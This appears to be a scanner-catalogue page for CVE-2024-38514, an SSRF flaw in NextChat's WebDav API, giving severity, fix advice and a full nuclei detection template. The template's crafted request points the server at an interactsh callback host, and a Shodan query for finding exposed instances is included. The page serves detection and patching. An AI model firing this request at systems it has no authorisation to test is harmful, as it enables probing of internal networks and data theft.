NextChat - Server-Side Request Forgery

highseverity

7.4CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.

Impact

Unauthenticated attackers can perform SSRF attacks to access internal services, scan internal networks, or exfiltrate sensitive information from systems that should not be accessible externally.

Fix

Upgrade to NextChat version 2.12.4 or later that includes proper validation of the endpoint parameter.

How to confirm it

Send: GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.{{interactsh-url}}/
Positive when: contains in interactsh_protocol "dns" AND contains "__NEXT_DATA__"

Run it with nuclei: nuclei -id CVE-2024-38514 -u <target>

The full check

id: CVE-2024-38514

info:
  name: NextChat - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.
  impact: |
    Unauthenticated attackers can perform SSRF attacks to access internal services, scan internal networks, or exfiltrate sensitive information from systems that should not be accessible externally.
  remediation: |
    Upgrade to NextChat version 2.12.4 or later that includes proper validation of the endpoint parameter.
  reference:
    - https://www.tenable.com/security/research/tra-2024-23
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/commit/dad122199a85c2f12277593973e1784b212adf5e
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/security/advisories/GHSA-gph5-rx77-3pjg
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2024-38514
    cwe-id: CWE-918
    epss-score: 0.02168
    epss-percentile: 0.82413
  metadata:
    verified: true
    max-request: 1
    shodan-query: "title:NextChat,\"ChatGPT Next Web\""
  tags: cve,cve2024,ssrf,xss,chatgpt,nextchat,vkev,vuln,ai

http:
  - raw:
      - |
        GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "__NEXT_DATA__"

References

Use this check only on systems you are authorised to test. Where the data comes from